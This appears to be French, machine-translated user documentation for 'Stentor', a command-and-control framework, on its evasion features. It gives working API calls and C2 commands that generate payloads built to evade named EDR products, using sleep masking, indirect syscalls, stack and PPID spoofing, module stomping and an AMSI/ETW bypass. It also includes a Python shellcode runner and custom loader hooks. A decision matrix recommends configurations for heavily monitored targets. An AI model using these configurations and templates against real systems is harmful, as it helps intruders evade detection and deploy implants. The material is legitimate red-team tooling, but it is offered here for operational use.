Aller au contenu

Kits d'évasion

Stentor fournit plus de 13 boutons d'évasion qui peuvent être configurés au moment de la génération de le payload et modifiés au moment de l'exécution via des tâches C2. Cette page couvre chaque option d'évasion, les cinq systèmes de kits personnalisés et une matrice de décision pour vous aider à choisir la bonne configuration pour votre environnement cible.


Aperçu

Les options d’évasion se répartissent en deux catégories :

  • Les options de construction sont intégrées dans le binaire de le payload lors de la génération. Ils ne peuvent pas être modifiés après le déploiement (par exemple, obscurcissement Garble, date d'arrêt, fonction de sortie).
  • Les options d'exécution sont configurées au moment de la génération mais peuvent être modifiées via les tâches C2 après l'exécution du beacon (par exemple, masquage du sommeil, méthode d'appel système, BeaconGate).
graph LR
    A[Payload Generation<br/>API / CNA Hook] --> B[Build-Time Injection<br/>ldflags & build tags]
    B --> C[Compiled Binary<br/>EXE / DLL / Shellcode]
    C --> D[Runtime Evasion Config<br/>Modifiable via C2 Tasks]
    D --> E[Beacon Execution<br/>Sleep Mask · Syscalls · BeaconGate]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Modifications d'exécution

Les options d'exécution sont stockées dans une structure EvasionConfig thread-safe protégée par un sync.RWMutex. Les modifications apportées via les tâches C2 prennent effet immédiatement lors du prochain cycle de beacon.


Référence des options d'évasion

Le tableau ci-dessous répertorie tous les champs liés à l'évasion disponibles dans la demande de génération de payload et la structure EvasionConfig de l'implant.

Options Type Par défaut Construction/Exécution Description
sleep_mask bool false Durée d'exécution Chiffrer la mémoire du beacon (.text, tas) pendant le sommeil
sleep_method chaîne "direct" Durée d'exécution Technique de sommeil : "direct" ou "timer_queue" (style Ekko)
heap_mask bool false Durée d'exécution Chiffrer les enregistrements de tas pendant le sommeil
stack_mask bool false Durée d'exécution Chiffrer la pile de threads pendant le sommeil (expérimental)
stack_spoof_depth int 0 Durée d'exécution Nombre maximal de trames de pile d'appels à usurper (0 = toutes les trames de beacon)
syscall_method chaîne "none" Durée d'exécution Routage des appels API : "none", "direct" ou "indirect"
ppid_target chaîne "" Durée d'exécution Nom du processus parent pour l'usurpation d'identité PPID (par exemple, "explorer.exe")
module_stomp_dll chaîne "xpsservices.dll" Durée d'exécution DLL à piétiner pour le support MEM_IMAGE
hwbp_enabled bool false Durée d'exécution Utiliser des points d'arrêt matériels pour le contournement AMSI/ETW (pas de correctifs mémoire)
beacon_gate.enabled bool false Durée d'exécution Acheminer 25 API sensibles via des appels système
beacon_gate.mask_on_call bool false Durée d'exécution Chiffrer la mémoire du beacon avant chaque appel d'API sécurisé
exit_func chaîne "process" Temps de construction Comportement de sortie : "process" (ExitProcess) ou "thread" (ExitThread)
obfuscate bool false Temps de construction Obfuscation Garble (hachage unique par build, symboles aléatoires)
kill_date chaîne "" Temps de construction Expiration de la RFC3339 (le payload se termine automatiquement après cette date)

Exemple d'API

Générez un payload avec le masquage du sommeil et les appels système indirects activés :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "obfuscate": true
  }'

Combinaison d'options

L'objet evasion_options dans la requête de génération contrôle l'injection au moment de la construction des paramètres du masque de sommeil et des appels système. Les modifications d'exécution sont effectuées via des tâches C2 telles que config sleep_mask true et config syscall_method indirect après l'enregistrement du beacon.


Masquage du sommeil

Le masquage du sommeil crypte la mémoire du beacon pendant les intervalles de sommeil à l'aide de XOR avec une clé aléatoire, empêchant ainsi l'analyse des signatures en mémoire lorsque le beacon est inactive.

Ce qu'il fait

Lorsque le masquage du sommeil est activé, le beacon :

  1. Génère une clé XOR aléatoire avant chaque cycle de sommeil
  2. Chiffre la section .text (code exécutable) afin que les signatures statiques échouent
  3. Chiffre éventuellement les allocations de tas (masque de tas) pour masquer les chaînes en mémoire
  4. Chiffre éventuellement la pile de threads (masque de pile) pour empêcher la détection basée sur la pile
  5. Dort pendant l'intervalle configuré
  6. Décrypte tout et reprend l'exécution

Méthodes de sommeil

Utilise SleepEx directement. Le thread de beacon se met en veille pendant que les autres goroutines d'exécution Go (GC, sysmon) continuent de s'exécuter. C'est la méthode la plus sûre car elle respecte le planificateur Go.

config sleep_method direct

Crée une minuterie qui se déclenche après l'intervalle de veille, évitant ainsi les appels directs à Sleep/SleepEx surveillés par les EDR. L'approche de file d'attente temporisée utilise CreateTimerQueueTimer pour planifier le réveil.

config sleep_method timer_queue

Passez à la sécurité d'exécution

Les goroutines d'exécution Go (garbage collector, sysmon) planteront si elles tentent d'exécuter le code de section .text crypté. Le masque de sommeil utilise l’épinglage goroutine pour garantir que le masquage ne se produit que lorsqu’il est sécuritaire de le faire. La méthode direct est plus fiable avec le runtime Go.

Masquage des tas

Le masquage de tas chiffre les allocations de tas enregistrées pendant le sommeil. Cela empêche les analyseurs de mémoire EDR de trouver des chaînes de configuration, des URL C2 ou d'autres indicateurs dans la mémoire tas lorsque le beacon est inactive.

config heap_mask true

Masquage de pile

Le masquage de pile crypte la pile d'appels du thread pendant le sommeil. Ceci est expérimental et peut entraîner des problèmes de stabilité avec certaines configurations d'exécution Go.

config stack_mask true

Fonctionnalité expérimentale

Le masquage de pile modifie la mémoire de la pile de threads bruts. Bien qu'il soit testé dans des environnements de laboratoire, il peut provoquer des plantages dans les cas extrêmes où les goroutines d'exécution Go interagissent avec la pile pendant le sommeil. À utiliser avec prudence lors des missions de production.

Usurpation de pile

L'usurpation d'identité de pile fabrique des cadres de pile d'appels pour masquer les adresses de retour des beacons des outils de déplacement de pile (par exemple, Hunt-Sleeping-Beacons, Patriot, Moneta). Le spoofer :

  1. Capture le vrai RBP via RtlCaptureContext
  2. Parcourt la chaîne de pointeurs de trame RBP pour identifier les trames de beacon
  3. Remplace les adresses de retour des beacons par des adresses DLL système légitimes (RtlUserThreadStart, BaseThreadInitThunk, NtWaitForSingleObject, etc.)
  4. Construit une chaîne RBP synthétique reliant chaque image usurpée à la suivante
  5. Restaure les valeurs d'origine après le sommeil
config stack_spoof_depth 0

Définissez stack_spoof_depth sur 0 pour usurper toutes les trames de beacon, ou sur un nombre spécifique pour limiter le nombre de trames remplacées.

Configuration d'exécution

# Set sleep interval to 30 seconds
sleep 30

# Enable sleep masking
config sleep_mask true

# Switch to timer queue method
config sleep_method timer_queue

# Enable heap masking
config heap_mask true

# Enable stack spoofing (all frames)
config stack_spoof_depth 0

Obfuscation des appels système

L'obfuscation Syscall contrôle la manière dont le beacon appelle les fonctions de l'API Windows. Trois modes sont disponibles :

Modes

Appels d’API Windows standard via kernel32.dll / ntdll.dll. Chaque appel passe par les exportations DLL en mode utilisateur où les hooks EDR sont installés.

config syscall_method none

Résout les numéros d'appel système au moment de l'exécution en parcourant le PEB InMemoryOrderModuleList pour trouver ntdll, puis exécute l'instruction syscall directement à partir de la mémoire du beacon. Contourne les hooks du mode utilisateur mais laisse un artefact « appel système provenant d'un non-ntdll » que l'analyse de la pile peut détecter.

config syscall_method direct

Résout les numéros d'appel système de la même manière que le mode direct, mais trampoline via l'instruction syscall à l'intérieur de ntdll.dll lui-même. L'appel système semble provenir de ntdll, correspondant au comportement attendu.

config syscall_method indirect

Comparaison

Mode Contournement du crochet Résistance de détection Compatibilité Recommandé pour
none Non Faible Toutes les fenêtres Laboratoire / tests
direct Oui Moyen Windows 10+ Missions standards
indirect Oui Élevé Windows 10+ Environnements à forte densité EDR

Bibliothèque Achéron

Les modes direct et indirect utilisent la bibliothèque achéron pour la résolution des numéros d'appel système via la marche PEB. La distinction réside dans l'endroit où l'instruction syscall s'exécute à partir de : la mémoire de beacon (directe) et ntdll.dll (indirect).


BalisePorte

BeaconGate intercepte 25 appels d'API Windows spécifiques et les achemine via la méthode d'appel système configurée (directe ou indirecte). Cela permet un contournement ciblé des hooks pour les API les plus couramment accrochées sans que chaque appel d'API passe par des appels système.

API fermées

Les 25 API sont organisées par catégorie :

Catégorie API
Mémoire VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery
Thème CreateThread, CreateRemoteThread, ResumeThread, OpenThread, ExitThread
Mémoire de processus WriteProcessMemory, ReadProcessMemory
Poignée OpenProcess, CloseHandle, DuplicateHandle
Contexte du fil GetThreadContext, SetThreadContext
Mappage de fichiers CreateFileMappingA, MapViewOfFile, UnmapViewOfFile
Réseau (WinINet) InternetOpenA, InternetConnectA
Registre NtSetValueKey, NtOpenKey

Masque de garde

Lorsque mask_on_call est activé, BeaconGate crypte la mémoire du beacon avant chaque appel d'API bloqué et la déchiffre après. Cela permet une évasion maximale - la mémoire du beacon n'est lisible que pendant le bref instant d'exécution de l'API - mais entraîne une surcharge du processeur plus élevée.

Désactivation automatique du mode interactif

Lorsque l'intervalle de veille du beacon descend en dessous de 3 secondes (mode interactif), le masquage BeaconGate est automatiquement désactivé pour éviter les pics de CPU. Cela correspond au comportement de Cobalt Strike 4.12.

Configuration via C2

# Enable BeaconGate
beacon_gate enable

# Enable mask-on-call
beacon_gate mask_on_call true

# Disable a specific API from gating
beacon_gate api VirtualAlloc false

# Re-enable a specific API
beacon_gate api VirtualAlloc true

Comportement de repli

Si un appel système bloqué échoue (erreur NTSTATUS), BeaconGate revient automatiquement à l'appel API Win32 standard. Les événements de secours sont enregistrés pour la visibilité de l'opérateur.

Meilleure combinaison

BeaconGate est plus efficace en combinaison avec des appels système indirects. Activez les deux pour un contournement maximal du hook en mode utilisateur : config syscall_method indirect suivi de beacon_gate enable.


Kit d'artefacts

Le kit Artifact permet aux opérateurs de remplacer les binaires d'implant compilés de manière croisée par défaut par des binaires de chargement personnalisés. Trois types de modèles sont pris en charge :

Modèle Champ Description
EXE personnalisé custom_exe_template Remplacez le binaire EXE par défaut par un chargeur personnalisé
DLL personnalisée custom_dll_template Remplacez le binaire DLL par défaut par un chargeur personnalisé
Service personnalisé custom_svc_template Remplacez le Service EXE par défaut par un chargeur personnalisé

Comment ça marche

Lorsqu'un modèle personnalisé est fourni via l'API ou un hook CNA, le relais utilise directement le binaire fourni au lieu de compiler de manière croisée l'implant à partir de la source Go. Le relais intègre le shellcode du beacon à un décalage connu dans le binaire personnalisé.

Crochet de l'AIIC

Le hook EXECUTABLE_ARTIFACT_GENERATOR permet à un script CNA d'intercepter la génération de payload et de renvoyer un binaire personnalisé :

# artifact_kit.cna -- Artifact Kit hook
on EXECUTABLE_ARTIFACT_GENERATOR {
    local('$filename $shellcode');
    $filename = $1;
    $shellcode = $2;

    # Pack shellcode into custom loader
    $loader = load_custom_loader($filename);
    return embed_shellcode($loader, $shellcode);
}

Exemple d'API

Fournissez un modèle EXE personnalisé codé en base64 dans la demande de génération de payload :

# Base64-encode your custom loader
TEMPLATE=$(base64 -w0 custom_loader.exe)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"standalone\",
    \"listener_id\": \"LISTENER_UUID\",
    \"custom_exe_template\": \"$TEMPLATE\"
  }"

Exigences du modèle

Les modèles Artifact Kit doivent être des binaires PE autonomes qui savent comment charger le shellcode intégré. Le relais intègre le shellcode du beacon à un décalage connu dans le binaire. Testez minutieusement vos chargeurs personnalisés dans un laboratoire avant leur utilisation en production.

Cas d'utilisation

  • Intégrez le shellcode du beacon dans un chargeur personnalisé avec une évasion supplémentaire (creux de processus, exécution de fibre, correctif ETW)
  • Utiliser un binaire légitime signé comme support
  • Implémenter des contrôles anti-sandbox personnalisés avant l'exécution du beacon

Trousse de ressources

Le kit de ressources permet aux opérateurs de personnaliser des modèles de payload non binaires : scripts et documents utilisés pour la fourniture de l'accès initial.

Modèle Champ Description
ETS personnalisées custom_hta_template Modèle de page HTA personnalisé (remplace le conteneur mshta par défaut)
PS1 personnalisée custom_ps1_template Station de téléchargement PowerShell personnalisée (remplace le stager par défaut)
VBA personnalisé custom_vba_template Modèle de macro VBA personnalisé (remplace la macro DOCM/XLSM par défaut)
VBS personnalisé custom_vbs_template Modèle VBScript personnalisé (remplace VBS par défaut dans HTA)
Python personnalisé custom_python_template Exécuteur de shellcode Python personnalisé

Crochets de l'AIIC

Plusieurs hooks sont disponibles pour différents types de ressources :

Crochet Objectif
RESOURCE_GENERATOR Génération de ressources générales (VBS, scripts)
RESOURCE_GENERATOR_VBS Génération spécifique à VBScript (repli lorsque RESOURCE_GENERATOR ne gère pas)
HTA_APPEXE Modèle de méthode exécutable HTA
HTA_APPPS1 Modèle de méthode HTA PowerShell
PYTHON_COMPRESS Modèle d'exécution de shellcode Python

Variables du modèle

Le modèle Python reçoit les variables du modèle Go pour l'injection de shellcode :

Variable Description
{{.ShellcodeHex}} Octets de shellcode codés en hexadécimal
{{.ShellcodeLen}} Longueur du shellcode en octets

Exemple de modèle Python personnalisé :

import ctypes

shellcode = bytes.fromhex("{{.ShellcodeHex}}")
buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
func()

Chemin de personnalisation le plus simple

Les modèles du kit de ressources constituent le chemin de personnalisation le plus simple. Aucune compilation binaire n'est nécessaire : il suffit de modifier les modèles de script avec du contenu supplémentaire d'obscurcissement, de contrôles anti-sandbox ou d'ingénierie sociale.


Chargeur réfléchissant défini par l'utilisateur (UDRL)

UDRL remplace le chargeur réfléchissant par défaut par un binaire personnalisé qui gère le mappage PE en mémoire. Cela donne aux opérateurs un contrôle total sur la manière dont le payload du beacon est chargée en mémoire.

Comment ça marche

  1. L'opérateur fournit un binaire de chargeur personnalisé via udrl_options.loader_binary (codé en base64)
  2. Le binaire du chargeur personnalisé est ajouté à le payload du beacon lors de la génération
  3. Une fois injecté, le chargeur s'exécute en premier et mappe le beacon PE en mémoire
  4. Le beacon commence son exécution une fois que le chargeur a terminé le mappage PE

Configuration

# Base64-encode the UDRL binary
LOADER=$(base64 -w0 custom_reflective_loader.bin)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"shellcode\",
    \"listener_id\": \"LISTENER_UUID\",
    \"udrl_options\": {
      \"loader_binary\": \"$LOADER\"
    }
  }"

Options de clonage PE

Les payloads UDRL prennent en charge les options de clonage PE pour réduire le caractère unique de l'IOC :

Options Type Description
rich_header chaîne Octets d'en-tête Rich codés en hexadécimal clonés à partir d'un PE légitime
image_size_x86 int Remplacer SizeOfImage pour les payloads x86
image_size_x64 int Remplacer SizeOfImage pour les payloads x64
stomp_pe bool Zéro en-têtes MZ/PE après chargement réfléchissant
cleanup bool Mémoire du chargeur libre après l'initialisation
smart_inject bool Intégrer des conseils de pointeur de fonction pour le chargeur (évite de marcher EAT)

Mises en garde UDRL

  • Les binaires UDRL doivent implémenter l'interface de chargement attendue. Testez minutieusement en laboratoire avant le déploiement en production.
  • Le binaire du chargeur UDRL n'est pas stocké dans la base de données pour régénération. L'opérateur doit télécharger à nouveau le binaire du chargeur lors de la régénération d'un payload UDRL.

Kit masque de sommeil

Le kit Sleep Mask permet aux opérateurs de remplacer l’implémentation du masque de sommeil par défaut par un code source Go personnalisé.

Comment ça marche

  1. L'opérateur fournit un code source Go personnalisé qui implémente l'interface SleepMaskKit
  2. Au moment de la construction, la source personnalisée remplace le masque de sommeil par défaut via le beacon de construction custom_sleepmask
  3. L'implémentation personnalisée gère tout le cryptage/déchiffrement de la mémoire pendant le sommeil

Configuration

Le Kit Masque de Sommeil peut être fourni via trois mécanismes (par ordre de priorité) :

  1. Hook CNA (priorité la plus élevée) : BEACON_SLEEP_MASK renvoie la source Go personnalisée
  2. Base de données de modèles de kit : téléchargez la source via l'API kit_templates
  3. Implémentation par défaut : masque de sommeil intégré si aucune source personnalisée n'est fournie

Crochets de l'AIIC

Crochet Objectif
BEACON_SLEEP_MASK Fournir le code source Go du masque de sommeil personnalisé
SLEEP_MASK_KIT_BUILD Modifier les indicateurs de build avant la compilation

Exemple de crochet CNA :

on BEACON_SLEEP_MASK {
    local('$variant $arch $options');
    $variant = $1;
    $arch = $2;
    $options = $3;

    # Return custom sleep mask source
    return read_file("custom_sleep_mask.go");
}

on SLEEP_MASK_KIT_BUILD {
    local('$filename $arch $default_flags');
    $filename = $1;
    $arch = $2;
    $default_flags = $3;

    # Add extra build tags
    return "$default_flags -gcflags=-N";
}

Exemple d'API

Téléchargez un modèle de kit de masque de sommeil :

curl -s -X POST https://stentor.app/api/v1/kit-templates \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "sleepmask",
    "name": "sleep_mask_default",
    "content_text": "package evasion\n\ntype CustomSleepMask struct{}\n\nfunc (c *CustomSleepMask) MaskAndSleep(interval int) { ... }"
  }'

Exigence d'interface

La source du masque de sommeil personnalisé doit implémenter l’interface SleepMaskKit du package d’évasion. Le beacon de build custom_sleepmask exclut l'implémentation par défaut et inclut votre code personnalisé.


Chargement goutte à goutte

Le chargement goutte à goutte alloue la mémoire en petits morceaux de la taille d'une page avec des délais configurables entre les allocations, au lieu de faire une allocation importante signalée par les EDR.

Comment cela défait la détection

Les produits EDR mettent en corrélation les allocations de mémoire importantes (VirtualAlloc avec des tailles > 100 Ko) avec l'injection de shellcode. Le chargement goutte à goutte annule cette corrélation temporelle en :

  1. Allocation de mémoire par petits morceaux (par défaut : 4 096 octets / une page)
  2. Insertion d'un délai configurable entre chaque allocation (par défaut : 10 ms)
  3. Valider chaque page individuellement afin qu'aucune allocation ne semble suspecte

Deux modes

Mode Champ Par défaut Description
Staging staging_enabled false Drip-loading pendant le chargement réfléchissant
Injection inject_enabled true Chargement goutte à goutte pendant l'injection dans le processus

Comportement par défaut

Le chargement goutte à goutte par injection est activé par défaut avec un délai de 10 ms. Le chargement goutte à goutte intermédiaire est désactivé par défaut car il ajoute de la latence au chargement initial du beacon.

Configuration

Champ Type Par défaut Description
staging_enabled bool false Activer le drip-loading pendant le chargement réfléchissant
staging_delay int 0 Millisecondes entre les morceaux pendant la préparation
inject_enabled bool true Activer le drip-loading pendant l'injection du processus
inject_delay int 10 Millisecondes entre les morceaux pendant l'injection

Exemple d'API

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    }
  }'

Fonctionnalités d'évasion supplémentaires

Usurpation PPID

Définissez le processus parent pour les processus enfants générés. Les outils d'analyse de l'arborescence des processus affichent le parent usurpé au lieu du processus beacon.

Champ Valeur Description
ppid_target "explorer.exe" Définir le parent sur explorer.exe
ppid_target "svchost.exe" Définir le parent sur svchost.exe
ppid_target "" Désactiver l'usurpation d'identité PPID
config ppid_target explorer.exe

Remarque OPSEC

L'usurpation d'identité PPID est détectable via les événements ETW Microsoft-Windows-Kernel-Process. Le EventHeader.ProcessId révèle le véritable PID parent quelle que soit la valeur usurpée. Utilisez-le pour vous défendre contre les outils d'arborescence de processus, et non contre les SOC équipés d'ETW.


Module piétinant

Code réinjecté avec la section mémoire d'une DLL légitime pour le support MEM_IMAGE. Au lieu d'allouer MEM_PRIVATE mémoire (ce qui se démarque dans l'analyse de la mémoire), le code du beacon occupe une section qui semble appartenir à une DLL légitime.

Champ Valeur Description
module_stomp_dll "xpsservices.dll" Utilisez xpsservices.dll (~ 3 Mo de section .text)
module_stomp_dll "" Désactiver le piétinement du module
# Enable module stomping with a specific DLL
evasion module_stomp {"dll": "xpsservices.dll"}

# Disable module stomping
evasion module_stomp {"dll": ""}

Sélection de DLL

Choisissez une DLL avec une section .text suffisamment grande pour contenir le payload du beacon. xpsservices.dll est la valeur par défaut car elle comporte une section .text d'environ 3 Mo, suffisamment grande pour n'importe quelle payload de beacon.


Points d'arrêt matériels (HWBP)

Utilisez des registres de débogage (DR0-DR3) et un gestionnaire d'exceptions vectorielles (VEH) au lieu de correctifs de mémoire en ligne pour le contournement AMSI et ETW. Aucun octet modifié n'apparaît dans les régions de mémoire analysées.

Champ Valeur Description
hwbp_enabled true Activer le contournement AMSI/ETW du point d'arrêt matériel
hwbp_enabled false Utiliser les correctifs en ligne traditionnels
config hwbp_enabled true

Le contournement AMSI/ETW traditionnel corrige les octets dans amsi.dll et ntdll.dll, détectés par les scanners d'intégrité de la mémoire. Les points d'arrêt matériels définissent des registres de débogage qui déclenchent un VEH avant l'exécution de la fonction, renvoyant un résultat inoffensif sans modifier aucun octet de code.


Garde-corps

Restreindre l’exécution de le payload aux systèmes correspondant à des modèles spécifiques. Les systèmes qui ne correspondent pas se terminent silencieusement : pas de crash, pas d'erreur, pas de beacon.

Champ Type Exemple Description
ip chaîne "10.10.10.*" Correspond à n'importe quelle adresse IP locale (caractère générique)
hostname chaîne "DC*" Faire correspondre le nom d'hôte (insensible à la casse, caractère générique)
domain chaîne "corp.local" Faire correspondre le domaine AD (Windows uniquement)
username chaîne "admin*" Correspondre au nom d'utilisateur actuel (insensible à la casse, caractère générique)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Meilleures pratiques OPSEC

Installez toujours des garde-fous pour les engagements de production. Une payload sans garde-fous peut s’exécuter sur n’importe quel système, y compris les sandbox d’analystes et les réseaux non liés.


Obscurcissement des brouillages

Activez l'obscurcissement Garble au moment de la construction pour randomiser les noms de fonctions, supprimer les symboles de débogage et chiffrer les littéraux de chaîne. Chaque build produit un hachage binaire unique.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true
  }'

Garble est une option au moment de la construction. Une fois qu'un payload est générée sans obscurcissement, elle ne peut pas être ajoutée rétroactivement : régénérez le payload avec obfuscate: true.


Matrice de décision d’évasion

Utilisez le tableau suivant pour sélectionner la configuration d'évasion adaptée à votre environnement cible.

Environnement cible Configuration recommandée
Pas d'EDR (laboratoire) Paramètres par défaut, aucune évasion nécessaire
AV de base uniquement obfuscate: true, kill_date set, garde-corps configurés
EDR (CrowdStrike, SentinelOne, Defender pour Endpoint) Appels système indirects + masque de sommeil + BeaconGate + usurpation d'identité PPID
EDR + analyse de la mémoire Tout ci-dessus + masque de tas + usurpation de pile + piétinement de module
** Hautement surveillé (surveillance SOC) ** Tout ce qui précède + Kit d'artefacts personnalisé + UDRL + chargement goutte à goutte + HWBP

Exemple : configuration d'évasion complète

Générez un payload maximale évasive pour un environnement fortement surveillé :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true,
    "kill_date": "2026-06-01T00:00:00Z",
    "exit_func": "thread",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    },
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Configurez ensuite l'évasion à l'exécution après l'enregistrement du beacon :

# Enable indirect syscalls
config syscall_method indirect

# Enable sleep masking with timer queue
config sleep_mask true
config sleep_method timer_queue
config heap_mask true

# Enable stack spoofing
config stack_spoof_depth 0

# Enable BeaconGate with mask-on-call
beacon_gate enable
beacon_gate mask_on_call true

# Set PPID spoofing
config ppid_target explorer.exe

# Enable hardware breakpoint AMSI/ETW bypass
config hwbp_enabled true

Approche en couches

Commencez par une évasion minimale et ajoutez des couches si nécessaire. L'évasion excessive augmente le risque de problèmes de stabilité (en particulier le masquage de pile et la mise en veille de la file d'attente du minuteur) et rend le débogage plus difficile pendant un engagement.